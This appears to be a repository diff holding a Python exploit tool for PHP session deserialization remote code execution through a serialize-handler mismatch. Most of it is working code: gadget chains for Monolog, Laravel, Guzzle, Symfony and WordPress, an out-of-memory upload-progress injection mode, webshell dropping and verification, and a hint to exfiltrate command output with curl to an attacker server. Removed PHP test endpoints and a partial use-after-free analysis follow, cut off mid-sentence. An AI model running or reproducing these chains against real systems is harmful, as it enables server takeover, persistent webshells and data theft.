Monolog 3.x uses typed properties (PHP 8.1+ enums for Level),
so the Monolog 2.x RCE1 chain fails. This chain uses GroupHandler
as entry (array-typed handlers property) and DeduplicationHandler
as sink (file_put_contents with controlled path and message).
Requires monolog/monolog 3.0+ (production dep in Laravel 10+,
Symfony 6+, and many other frameworks).
"""
shell_code_clean = shell_code.replace("\r", " ").replace("\n", " ")
log_record = php_obj("Monolog\\LogRecord", [
(php_str("level"), php_enum("Monolog\\Level", "Debug")),
(php_str("message"), php_str(shell_code_clean)),
(php_str("datetime"), php_datetime_immutable()),
])
dedup = php_obj("Monolog\\Handler\\DeduplicationHandler", [
(prot("deduplicationStore"), php_str(write_path)),
(prot("bufferSize"), php_int(1)),
(prot("buffer"), php_arr([(php_int(0), log_record)])),
(prot("deduplicationLevel"), php_enum("Monolog\\Level", "Debug")),
])
return php_obj("Monolog\\Handler\\GroupHandler", [
(prot("handlers"), php_arr([(php_int(0), dedup)])),
])
def chain_laravel_cmd(cmd):
"""Laravel RCE via PendingBroadcast (5.4.0-8.6.9+).
PendingBroadcast.__destruct
-> $this->events->dispatch($this->event)
Dispatcher::dispatch($event)
-> foreach $this->listeners[$event] as $listener: $listener($event)
-> system($cmd)
$this->event = $cmd (the command string)
$this->listeners[$cmd] = ['system']
Requires illuminate/events + illuminate/broadcasting
(always present in Laravel).
"""
dispatcher = php_obj("Illuminate\\Events\\Dispatcher", [
(prot("listeners"), php_arr([
(php_str(cmd), php_arr([
(php_int(0), php_str("system")),
])),
])),
])
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
(prot("events"), dispatcher),
(prot("event"), php_str(cmd)),
])
def chain_laravel_fw(write_path, shell_code):
"""Laravel file write via system() (5.4.0-8.6.9+).
Same PendingBroadcast gadget, calls system() with a write command.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_laravel_cmd(cmd)
def chain_laravel10_cmd(cmd):
"""Laravel RCE via PendingBroadcast + CommonMark (10.0-13.x+, current).
PendingBroadcast.__destruct
-> $this->events->dispatch($this->event)
Environment::dispatch($event)
-> foreach listenerData as prioritized listeners
-> ListenerData->listener is ChainedBatchTruthTest
ChainedBatchTruthTest::__invoke($event)
-> call_user_func($this->callback, $event)
-> system($cmd)
Channel.__toString returns $this->name, so $event becomes the
command string when passed to system().
Requires illuminate/broadcasting + league/commonmark (both present
in all Laravel 10+ installations).
"""
env_cls = "League\\CommonMark\\Environment\\Environment"
list_cls = "League\\CommonMark\\Util\\PrioritizedList"
ld_cls = "League\\CommonMark\\Event\\ListenerData"
truth_test = php_obj(
"Illuminate\\Support\\Testing\\Fakes\\ChainedBatchTruthTest", [
(prot("callback"), php_str("system")),
])
listener_data = php_obj(ld_cls, [
(priv(ld_cls, "event"),
php_str("\\Illuminate\\Broadcasting\\Channel")),
(priv(ld_cls, "listener"), truth_test),
])
plist = php_obj(list_cls, [
(priv(list_cls, "list"), php_arr([
(php_int(0), php_arr([(php_int(0), listener_data)])),
])),
])
environment = php_obj(env_cls, [
(priv(env_cls, "extensionsInitialized"), php_bool(True)),
(priv(env_cls, "listenerData"), plist),
])
channel = php_obj("Illuminate\\Broadcasting\\Channel", [
(php_str("name"), php_str(cmd)),
])
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
(prot("events"), environment),
(prot("event"), channel),
])
def chain_laravel10_fw(write_path, shell_code):
"""Laravel file write via system() (10.0-13.x+, current).
Same PendingBroadcast + CommonMark gadget, calls system() with a
write command.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_laravel10_cmd(cmd)
def chain_guzzle_fw(write_path, data):
"""Guzzle file write via FileCookieJar (4.0.0-7.x, patched in 8.0).
FileCookieJar.__destruct -> save()
-> file_put_contents($this->filename, json_encode(...))
Writes JSON-encoded cookie data. The 'Value' field holds the payload.
The written file contains JSON wrapping around the payload.
PHP ignores everything before <?php, so a webshell embedded in the
Value field works when accessed via HTTP. Use single quotes in the
shell code to avoid JSON backslash escaping (double quotes become
\" in JSON output, which breaks PHP parsing).
Guzzle 8.0+ added __unserialize() that throws on deserialization.
Requires guzzlehttp/guzzle (extremely common HTTP client).
"""
cookie = php_obj("GuzzleHttp\\Cookie\\SetCookie", [
(priv("GuzzleHttp\\Cookie\\SetCookie", "data"), php_arr([
(php_str("Expires"), php_int(1)),
(php_str("Discard"), php_bool(False)),
(php_str("Value"), php_str(data)),
])),
])
jar = php_obj("GuzzleHttp\\Cookie\\FileCookieJar", [
(priv("GuzzleHttp\\Cookie\\CookieJar", "cookies"), php_arr([
(php_int(0), cookie),
])),
(priv("GuzzleHttp\\Cookie\\CookieJar", "strictMode"), php_bool(False)),
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "filename"), php_str(write_path)),
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "storeSessionCookies"), php_bool(True)),
])
return jar
def chain_symfony_cmd(cmd):
"""Symfony RCE via WindowsPipes (2.6.0-4.4.18).
WindowsPipes.__destruct -> close -> foreach $this->fileHandles: fclose($h)
$fileHandles is a SortableIterator wrapping an ArrayObject:
SortableIterator implements IteratorAggregate
getIterator() calls usort($array, $this->sort) where sort='call_user_func'
usort compares elements via call_user_func($a, $b)
ArrayObject contains [$function, $parameter]
-> call_user_func('system', $cmd)
Requires symfony/finder + symfony/process (present in all Symfony apps).
"""
arr = php_obj("ArrayObject", [
(php_int(0), php_str(cmd)),
(php_int(1), php_str("system")),
])
# ArrayObject serializes differently: uses C: format
# We need to use the C: custom serialization format for ArrayObject
# Use O: format (works for ArrayObject deserialization):
# i:0 = flags(0), i:1 = storage array, i:2 = members(empty), i:3 = null
# Storage: [0 => $func, 1 => $param] so uasort compares call_user_func($func, $param)
arr = (b'O:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{i:0;s:6:"system";i:1;'
+ php_str(cmd) + b"}i:2;a:0:{}i:3;N;}")
sortable = php_obj("Symfony\\Component\\Finder\\Iterator\\SortableIterator", [
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "iterator"), arr),
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "sort"), php_str("call_user_func")),
])
return php_obj("Symfony\\Component\\Process\\Pipes\\WindowsPipes", [
(priv("Symfony\\Component\\Process\\Pipes\\WindowsPipes", "fileHandles"), sortable),
])
def chain_symfony_fw(write_path, shell_code):
"""Symfony file write via system() (2.6.0-4.4.18).
Same WindowsPipes gadget, calls system() with a write command.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_symfony_cmd(cmd)
def chain_wordpress_cmd(cmd):
"""WordPress RCE via WP_HTML_Token (6.4.0-6.4.1).
WP_HTML_Token.__destruct
-> ($this->on_destroy)($this->bookmark_name)
-> system($cmd)
Uses only PUBLIC properties, so this chain works in progress mode
(no NULL bytes from protected/private property names).
Requires WordPress 6.4.0 or 6.4.1 (patched in 6.4.2).
"""
return php_obj("WP_HTML_Token", [
(php_str("bookmark_name"), php_str(cmd)),
(php_str("on_destroy"), php_str("system")),
])
def chain_wordpress_fw(write_path, shell_code):
"""WordPress file write via WP_HTML_Token (6.4.0-6.4.1).
Same gadget, calls system() with a write command.
Public properties only: works in progress mode.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_wordpress_cmd(cmd)
CHAINS = {
"monolog3-fw": {"type": "fw", "fn": chain_monolog3_fw, "lib": "monolog/monolog 3.0+"},
"monolog-cmd": {"type": "cmd", "fn": chain_monolog_cmd, "lib": "monolog/monolog 1.17.2-2.x"},
"monolog-fw": {"type": "fw", "fn": chain_monolog_fw, "lib": "monolog/monolog 1.17.2-2.x"},
"laravel10-cmd": {"type": "cmd", "fn": chain_laravel10_cmd, "lib": "illuminate 10.0-13.x+"},
"laravel10-fw": {"type": "fw", "fn": chain_laravel10_fw, "lib": "illuminate 10.0-13.x+"},
"laravel-cmd": {"type": "cmd", "fn": chain_laravel_cmd, "lib": "illuminate 5.4-8.x"},
"laravel-fw": {"type": "fw", "fn": chain_laravel_fw, "lib": "illuminate 5.4-8.x"},
"guzzle-fw": {"type": "fw", "fn": chain_guzzle_fw, "lib": "guzzlehttp/guzzle 4.0-7.x"},
"symfony-cmd": {"type": "cmd", "fn": chain_symfony_cmd, "lib": "symfony 2.6-4.4.18"},
"symfony-fw": {"type": "fw", "fn": chain_symfony_fw, "lib": "symfony 2.6-4.4.18"},
"wordpress-cmd": {"type": "cmd", "fn": chain_wordpress_cmd, "lib": "WordPress 6.4.0-6.4.1"},
"wordpress-fw": {"type": "fw", "fn": chain_wordpress_fw, "lib": "WordPress 6.4.0-6.4.1"},
}
# ═══════════════════════════════════════════════════════════════════════
# HTTP helpers (raw sockets for binary payloads)
# ═══════════════════════════════════════════════════════════════════════
def tcp_connect(host, port, tls, timeout=30):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def status_code(resp):
try:
return int(resp.split(b" ")[1])
except (IndexError, ValueError):
return 0
def body_of(resp):
if b"\r\n\r\n" not in resp:
return resp
hdr, raw = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in hdr.lower():
out, data = b"", raw
while data:
nl = data.find(b"\r\n")
if nl < 0:
break
try:
clen = int(data[:nl].split(b";")[0].strip(), 16)
except ValueError:
break
if clen == 0:
break
out += data[nl+2:nl+2+clen]
data = data[nl+2+clen+2:]
return out
return raw
def extract_cookies(resp):
cookies = {}
for line in resp.split(b"\r\n"):
if line.lower().startswith(b"set-cookie:"):
cookie_str = line.split(b":", 1)[1].strip()
kv = cookie_str.split(b";")[0]
if b"=" in kv:
k, v = kv.split(b"=", 1)
cookies[k.strip().decode()] = v.strip().decode()
return cookies
def http_get(host, port, tls, path, cookies=None, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
req = (
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
)
if cookies:
req += b"Cookie: " + cookies.encode() + b"\r\n"
req += b"Connection: close\r\n\r\n"
sock.sendall(req)
resp = recv_all(sock, timeout)
sock.close()
return resp
def http_post_form(host, port, tls, path, body_bytes, cookies=None, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
req = (
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(body_bytes)).encode() + b"\r\n"
)
if cookies:
req += b"Cookie: " + cookies.encode() + b"\r\n"
req += b"Connection: close\r\n\r\n"
sock.sendall(req + body_bytes)
resp = recv_all(sock, timeout)
sock.close()
return resp
# ═══════════════════════════════════════════════════════════════════════
# Progress mode: multipart with upload progress + OOM
# ═══════════════════════════════════════════════════════════════════════
def escape_filename(raw):
"""Escape bytes for Content-Disposition filename= quoted string.
NULL bytes are NOT supported (PHP truncates at \\x00)."""
out = b""
for byte in raw:
if byte == ord('"'):
out += b'\\"'
elif byte == ord('\\'):
out += b'\\\\'
elif byte == 0:
raise ValueError("NULL bytes cannot appear in multipart filenames")
else:
out += bytes([byte])
return out
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
def mp_file_with_name(bnd, fieldname, filename_raw, content):
escaped = escape_filename(filename_raw)
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + fieldname
+ b'"; filename="' + escaped + b'"\r\n'
b"Content-Type: application/octet-stream\r\n"
b"\r\n" + content + b"\r\n")
def mp_end(bnd):
return b"--" + bnd + b"--\r\n"
def progress_inject_oom(host, port, tls, path, sid, chain_bytes,
fields=30000, fsize=512):
"""Inject chain via upload progress filename + OOM crash.
The filename contains |<chain>. PHP stores it in the upload
progress data in the session file. OOM crash skips cleanup,
leaving the poisoned session on disk.
NOTE: chain_bytes must not contain NULL bytes (multipart parser
limitation). Use only chains with public properties.
"""
bnd = b"----DESER" + os.urandom(8).hex().encode()
filename_payload = b"x|" + chain_bytes
body = b""
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"deser")
body += mp_file_with_name(bnd, b"file", filename_payload, b"\x00" * 4096)
for i in range(fields):
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
body += mp_end(bnd)
sock = tcp_connect(host, port, tls, timeout=120)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
resp = recv_all(sock, timeout=10)
sock.close()
return status_code(resp)
# ═══════════════════════════════════════════════════════════════════════
# Exploit logic
# ═══════════════════════════════════════════════════════════════════════
def run_inject(args, chain_bytes):
"""Inject mode: POST chain into session, trigger via handler mismatch."""
inj = urlparse(args.inject_url)
trg = urlparse(args.trigger_url)
inj_tls = inj.scheme == "https"
trg_tls = trg.scheme == "https"
inj_host = inj.hostname or "127.0.0.1"
trg_host = trg.hostname or "127.0.0.1"
inj_port = inj.port or (443 if inj_tls else 80)
trg_port = trg.port or (443 if trg_tls else 80)
inj_path = inj.path or "/"
trg_path = trg.path or "/"
if inj.query:
inj_path += "?" + inj.query
if trg.query:
trg_path += "?" + trg.query
# The payload: | followed by serialized chain
# When php_serialize stores this in the session file as a
# length-prefixed string, the | is preserved. When the php
# handler reads the file, it finds | and deserializes what follows.
payload = b"|" + chain_bytes
print("[*] Phase 1: obtaining session ID from inject endpoint...")
probe = http_get(inj_host, inj_port, inj_tls, inj_path, timeout=5)
cookies = extract_cookies(probe)
sid = cookies.get("PHPSESSID", os.urandom(16).hex())
print(f" PHPSESSID: {sid}")
print(f"[*] Phase 2: injecting serialized chain via '{args.inject_param}'...")
print(f" Payload size: {len(payload)} bytes")
# URL-encode the binary payload for form POST
encoded_param = args.inject_param.encode() + b"="
encoded_value = urllib.parse.quote(payload, safe=b"").encode()
post_body = encoded_param + encoded_value
resp = http_post_form(
inj_host, inj_port, inj_tls, inj_path,
post_body,
cookies=f"PHPSESSID={sid}",
timeout=10,
)
sc = status_code(resp)
print(f" Response: HTTP {sc}")
if sc not in (200, 301, 302, 303, 204):
print(f" [!] Unexpected status. Session may not have been written.")
print("[*] Phase 3: triggering deserialization via handler mismatch...")
print(f" GET {args.trigger_url} (php handler reads session with pipe delimiter)")
resp2 = http_get(
trg_host, trg_port, trg_tls, trg_path,
cookies=f"PHPSESSID={sid}",
timeout=10,
)
sc2 = status_code(resp2)
body2 = body_of(resp2).decode(errors="replace")
print(f" Response: HTTP {sc2}")
return sid, sc2, body2
def run_progress(args, chain_bytes):
"""Progress mode: inject via upload progress filename + OOM crash."""
wr = urlparse(args.write_url)
trg = urlparse(args.trigger_url)
wr_tls = wr.scheme == "https"
trg_tls = trg.scheme == "https"
wr_host = wr.hostname or "127.0.0.1"
trg_host = trg.hostname or "127.0.0.1"
wr_port = wr.port or (443 if wr_tls else 80)
trg_port = trg.port or (443 if trg_tls else 80)
wr_path = wr.path or "/"
trg_path = trg.path or "/"
if b"\x00" in chain_bytes:
print("[!] Chain contains NULL bytes. Progress mode cannot inject NULLs")
print(" via multipart filenames (PHP truncates at \\x00).")
print(" Use --mode inject, or provide a NULL-free chain.")
sys.exit(1)
sid = os.urandom(16).hex()
print(f"[*] Session ID: {sid}")
print("[*] Phase 1: injecting chain via upload progress + OOM crash...")
print(f" Fields: {args.fields} x {args.field_size}B")
sc = progress_inject_oom(
wr_host, wr_port, wr_tls, wr_path, sid,
chain_bytes, args.fields, args.field_size,
)
if sc in (502, 0):
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
elif sc == 500:
print(f" [+] HTTP 500 (OOM during script)")
else:
print(f" [!] HTTP {sc} — may not have OOMed")
print(" Waiting for new worker...")
time.sleep(2)
for _ in range(8):
try:
r = http_get(wr_host, wr_port, wr_tls, wr_path, timeout=3)
if status_code(r) in (200, 301, 302, 403, 404):
print(" New worker ready")
break
except Exception:
pass
time.sleep(1)
print("[*] Phase 2: triggering deserialization via handler mismatch...")
resp = http_get(
trg_host, trg_port, trg_tls, trg_path,
cookies=f"PHPSESSID={sid}",
timeout=10,
)
sc2 = status_code(resp)
body2 = body_of(resp).decode(errors="replace")
print(f" Response: HTTP {sc2}")
return sid, sc2, body2
def run(args):
# Build or load chain
if args.chain_file:
with open(args.chain_file, "rb") as f:
chain_bytes = f.read().rstrip(b"\n\r")
if not chain_bytes.startswith(b"O:") and not chain_bytes.startswith(b"a:"):
try:
chain_bytes = base64.b64decode(chain_bytes)
except Exception:
pass
print(f"[*] Loaded chain from {args.chain_file} ({len(chain_bytes)} bytes)")
elif args.chain in CHAINS:
info = CHAINS[args.chain]
if info["type"] == "fw":
if not args.write_path:
print(f"[!] --write-path required for {args.chain} chain")
print(" e.g., --write-path /var/www/html/shell.php")
sys.exit(1)
shell = args.shell_code or "<?php system($_GET['c']); ?>"
chain_bytes = info["fn"](args.write_path, shell)
print(f"[*] Built {args.chain} chain ({info['lib']}): writes to {args.write_path}")
else:
if not args.cmd:
print(f"[!] --cmd required for {args.chain} chain")
sys.exit(1)
chain_bytes = info["fn"](args.cmd)
print(f"[*] Built {args.chain} chain ({info['lib']}): system('{args.cmd}')")
else:
print("[!] Specify --chain or --chain-file")
print(" Available chains: " + ", ".join(CHAINS.keys()))
sys.exit(1)
print(f"[*] Chain size: {len(chain_bytes)} bytes")
has_nulls = b"\x00" in chain_bytes
if has_nulls:
print("[*] Chain contains NULL bytes (normal for protected/private props)")
print()
print("=" * 65)
print(" PHP Session Deserialization RCE — Handler Mismatch")
print(" No LFI. No FPM dependency.")
print("=" * 65)
print(f" Mode : {args.mode}")
if args.mode == "inject":
print(f" Inject URL : {args.inject_url}")
print(f" Inject param: {args.inject_param}")
else:
print(f" Write URL : {args.write_url}")
print(f" Trigger URL: {args.trigger_url}")
if args.chain_file:
print(f" Chain : {args.chain_file}")
else:
print(f" Chain : {args.chain}")
print()
if args.mode == "inject":
sid, sc, body = run_inject(args, chain_bytes)
else:
sid, sc, body = run_progress(args, chain_bytes)
# Post-exploit for fw chains: verify the webshell was written
chain_info = CHAINS.get(args.chain, {})
if chain_info.get("type") == "fw" and args.write_path:
print()
print("[*] Phase 4: verifying webshell...")
# Guess the webshell URL from write_path
# /var/www/html/shell.php -> /shell.php
shell_rel = args.write_path
for prefix in ["/var/www/html", "/var/www", "/srv/http",
"/usr/share/nginx/html"]:
if shell_rel.startswith(prefix):
shell_rel = shell_rel[len(prefix):]
break
trg = urlparse(args.trigger_url)
trg_tls = trg.scheme == "https"
trg_host = trg.hostname or "127.0.0.1"
trg_port = trg.port or (443 if trg_tls else 80)
verify_url = shell_rel + "?c=id"
try:
resp = http_get(trg_host, trg_port, trg_tls, verify_url, timeout=5)
vbody = body_of(resp).decode(errors="replace")
if "uid=" in vbody:
print(f" [+] Webshell works!")
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(vbody.strip())
print("[+] ══════════════════════════════════════════")
print()
print(f"[+] Webshell: {trg.scheme}://{trg_host}:{trg_port}{shell_rel}?c=CMD")
return
else:
print(f" [!] Webshell not responding yet (HTTP {status_code(resp)})")
except Exception as e:
print(f" [!] Could not verify: {e}")
if chain_info.get("type") == "cmd":
# Command output may be in the trigger response itself,
# or it may have run as a side effect (no visible output).
print()
if body.strip():
print("[+] Trigger response body:")
print(body[:500])
print()
print("[*] Command was executed during deserialization (__destruct).")
print(" If output is not visible, use a callback payload:")
print(f" --cmd 'curl http://YOUR_SERVER/?r=$(id|base64)'")
print()
print("[*] Deserialization triggered. If no RCE:")
print(" - Verify the handler mismatch (inject=php_serialize, trigger=php)")
print(" - Verify the POP chain matches the target's libraries")
print(" - Try phpggc to generate a chain for the exact versions:")
print(" phpggc -l | grep RCE")
print(f" - Session ID was: {sid}")
def main():
ap = argparse.ArgumentParser(
description="PHP Session Deserialization RCE via Handler Mismatch",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
No LFI. No FPM. RCE via session.serialize_handler mismatch.
Examples:
# Inject mode with Monolog file write (drops webshell):
%(prog)s --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-fw --write-path /var/www/html/s.php
# Inject mode with direct command execution:
%(prog)s --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-cmd --cmd 'id'
# Custom phpggc chain (raw or base64):
phpggc Monolog/RCE1 system id > chain.bin
%(prog)s --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain-file chain.bin
# Progress mode (no app session injection needed):
%(prog)s --mode progress \\
--write-url http://target/serialize_ep.php \\
--trigger-url http://target/php_ep.php \\
--chain-file chain_nofull.bin
""")
ap.add_argument("--mode", choices=["inject", "progress"], default="inject",
help="Injection mode (default: inject)")
ap.add_argument("--inject-url",
help="URL of endpoint that stores POST data in session "
"(must use php_serialize handler)")
ap.add_argument("--inject-param", default="data",
help="POST parameter stored in $_SESSION (default: data)")
ap.add_argument("--write-url",
help="URL of php_serialize endpoint (progress mode)")
ap.add_argument("--trigger-url", required=True,
help="URL of endpoint using default php handler "
"(triggers deserialization)")
ap.add_argument("--chain", choices=list(CHAINS.keys()),
help="Built-in POP chain")
ap.add_argument("--chain-file",
help="Custom serialized chain file (e.g., phpggc output)")
ap.add_argument("--write-path",
help="Target file path for monolog-fw chain")
ap.add_argument("--shell-code",
help="PHP code for webshell (monolog-fw, default: system)")
ap.add_argument("--cmd", help="Command for monolog-cmd chain")
ap.add_argument("--fields", type=int, default=30000,
help="OOM pressure fields for progress mode (default: 30000)")
ap.add_argument("--field-size", type=int, default=512,
help="Bytes per OOM field (default: 512)")
args = ap.parse_args()
if args.mode == "inject" and not args.inject_url:
print("[!] --inject-url required for inject mode")
sys.exit(1)
if args.mode == "progress" and not args.write_url:
print("[!] --write-url required for progress mode")
sys.exit(1)
if not args.chain and not args.chain_file:
print("[!] Specify --chain or --chain-file")
sys.exit(1)
run(args)
if __name__ == "__main__":
main()
-22
View File
@@ -1,22 +0,0 @@
<?php
/**
* Direct deserialization test: loads Monolog, unserializes the chain,
* lets __destruct fire. Should execute system('id').
*/
require __DIR__ . '/vendor/autoload.php';
$payload = base64_decode($argv[1] ?? '');
if (!$payload) {
fwrite(STDERR, "Usage: php test_chain.php <base64_chain>\n");
exit(1);
}
fwrite(STDERR, "Payload length: " . strlen($payload) . "\n");
fwrite(STDERR, "Unserializing...\n");
$obj = unserialize($payload);
fwrite(STDERR, "Object type: " . get_class($obj) . "\n");
fwrite(STDERR, "Letting __destruct fire (end of script)...\n");
// __destruct fires here when $obj goes out of scope
-25
View File
@@ -1,25 +0,0 @@
<?php
/**
* Test endpoint: php_serialize handler.
* Stores POST parameters in $_SESSION.
*
* In the wild, this maps to any endpoint that:
* - Uses ini_set('session.serialize_handler', 'php_serialize')
* (Laravel, Symfony, etc.)
* - Stores user input in $_SESSION
*/
ini_set('session.serialize_handler', 'php_serialize');
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
foreach ($_POST as $k => $v) {
$_SESSION[$k] = $v;
}
echo json_encode(['status' => 'ok', 'session_id' => session_id()]);
} else {
echo json_encode([
'status' => 'ready',
'session_id' => session_id(),
'handler' => 'php_serialize',
]);
}
-18
View File
@@ -1,18 +0,0 @@
<?php
/**
* Test endpoint: default php handler.
* Just calls session_start(). The handler mismatch causes
* deserialization of objects injected via the php_serialize endpoint.
*
* In the wild, this maps to any PHP script on the same host that:
* - Does NOT set session.serialize_handler to php_serialize
* - Calls session_start()
* (phpMyAdmin, legacy scripts, admin panels, etc.)
*
* Autoloads Monolog so deserialized objects have real classes.
*/
require __DIR__ . '/vendor/autoload.php';
session_start();
echo "OK pid=" . getmypid();
-393
View File
@@ -1,393 +0,0 @@
# CVE-2026-109618 / CVE-2026-109619: Vulnerability Analysis
## Overview
PHP's multipart parser (`rfc1867.c`) and session upload progress handler
(`ext/session/session.c`) contain a use-after-free exploitable over HTTP
against Apache mod_php with **default PHP configuration**. No LFI, no
framework dependency, no non-default settings.
| Property | Value |
|---|---|
| CVE | CVE-2026-109618, CVE-2026-109619 |
| CVSS | 9.2 (both, per Rapid7) |
| Affected | PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11 |
| Patched | PHP 8.3.36, 8.4.27, 8.5.12 |
| Prerequisites | Apache mod_php (prefork), session.upload_progress.enabled=1 (default) |
| Exploit status | UAF crash confirmed, full RCE not achieved |
## Root cause
### CVE-2026-109618: OOM triggers longjmp past cleanup
When `memory_limit` is exceeded during `php_session_decode()` inside
the RFC1867 progress callback, PHP calls `zend_mm_safe_error()` which
invokes `zend_bailout()`. This is a `longjmp` that unwinds the call
stack without running cleanup code, specifically
`php_var_unserialize_destroy()`.
The state that survives the bailout (in `BG` module globals):
```c
// ext/standard/basic_functions.c
struct {
uint32_t level; // should be 0, stays at 1
php_unserialize_data_t data; // freed 8216-byte struct pointer
} unserialize;
```
`php_var_unserialize_init()` allocates a `php_unserialize_data` struct
(8216 bytes = 3 ZendMM pages) and sets `level = 1`.
`php_var_unserialize_destroy()` frees it and sets `level = 0`. When OOM
fires between init and destroy, level stays at 1 and data points to
freed memory.
### CVE-2026-109619: Stale state reused on next request
The request startup flow in `main/main.c` (lines 1784-1838) wraps the
entire block from `zend_activate()` through `zend_activate_modules()` in
one `zend_try/zend_catch`. The execution order:
1. `zend_activate()` (line 1796)
2. `sapi_activate()` (line 1797): multipart parsing and RFC1867 callback
3. `php_hash_environment()` (line 1833)
4. `zend_activate_modules()` (line 1834): module RINITs run here, including `PHP_RINIT_FUNCTION(basic)` which zeros BG state
5. `PG(modules_activated) = 1` (line 1835)
The RFC1867 callback at step 2 runs BEFORE RINIT at step 4. So stale
BG state from the previous request IS used during RFC1867 decode.
When `php_var_unserialize_init()` is called during RFC1867 decode:
- It checks `BG(unserialize).level`
- If level > 0 AND `BG(serialize_lock) == 0`, it returns
`BG(unserialize).data` (the stale, freed pointer) and increments level
### Why Apache prefork survives (and FPM does not)
**Apache prefork**: The bailout is caught by Apache's request handler.
The child process continues its event loop. BG globals persist because
they are module-level, not request-scoped.
**PHP-FPM**: The bailout propagates to `fpm_main.c`'s outer
`zend_try/zend_catch`. The catch block sets `exit_status = 70` and the
worker exits. A new clean worker is spawned.
## OOM trigger mechanism
A session file with 33000 entries (~682KB) forces
`nTableSize = 65536` during decode. The `arData` allocation:
65536 * 36 = 2,359,296 bytes (~2.25MB). With `memory_limit = 4MB`,
this exceeds the limit during `HashTable` resize in
`zend_hash_real_init_mixed_ex()`.
The OOM triggers during `sapi_activate()` -> RFC1867 callback ->
`php_session_initialize()` -> `php_session_decode()` -> unserialize ->
`HashTable` resize.
After OOM:
- `php_session_cancel_decode()` calls `php_session_destroy()`
- Session file is DELETED (on unpatched PHP)
- `BG(unserialize).level = 1`, `.data` = freed pointer to 8216-byte struct
- Worker survives, serves new connections
## The UAF mechanism
### php_unserialize_data struct layout (8216 bytes, 3 pages)
```
Offset Field Size Notes
------ ----- ---- -----
0 last (var_entries*) 8 Points to inline entries
8 first_dtor 8 NULL initially
16 last_dtor 8 NULL initially
24 allowed_classes 8 NULL = allow all
32 ref_props 8 NULL
40 cur_depth 4 0
44 (padding) 4
48 max_depth 8 From ini setting
56 entries.used_slots 8 0 initially
64 entries.next 8 NULL
72 entries.data[1018] 8144 zval* array
8216 (end)
```
### Why var_push crashes
After OOM, the heap is destroyed and rebuilt for the next request. The
stale pointer references freed pages in the ZendMM chunk. Filler form
fields in the crash trigger create 3-page `zend_string` allocations
that consume pages sequentially. When one lands on the stale struct's
pages (~page 288 of 512), the `zend_string` GC header overlaps the
struct's pointer fields:
```
Struct offset 0 (last) <- gc_refcount(4) + gc_type_info(4)
Struct offset 8 (first_dtor) <- hash(8)
Struct offset 16 (last_dtor) <- len(8)
Struct offset 24+ <- string value (attacker-controlled)
```
`var_push` (var_unserializer.re line 118) reads `(*var_hashx)->last`:
```c
var_entries *var_hash = (*var_hashx)->last; // = GC header ~= 0x0000030600000001
var_hash->data[var_hash->used_slots++] = rval; // dereferences invalid address
// SIGSEGV
```
### Why var_access does NOT crash (type confusion primitive)
`var_access` (var_unserializer.re line 213) is used by `R:N;` and
`r:N;` backreferences. Unlike `var_push`, it reads the INLINE entries
at struct offset 56, NOT the `last` pointer at offset 0:
```c
var_entries *var_hash = &(*var_hashx)->entries; // offset 56, not 'last'
if (id >= var_hash->used_slots) return NULL;
return var_hash->data[id]; // offset 72+
```
Without the filler spray, the stale struct retains its request 1 layout
at the critical fields:
```
last = &entries (self-referencing, valid)
entries.used_slots = 1 (partially overwritten by heap metadata)
entries.data[0] = 0x780c8a923010 (stale zval* from request 1)
```
When the session data contains `x|R:1;`, the unserializer calls
`var_access(0, stale_struct)`, which reads `entries.data[0]` (the stale
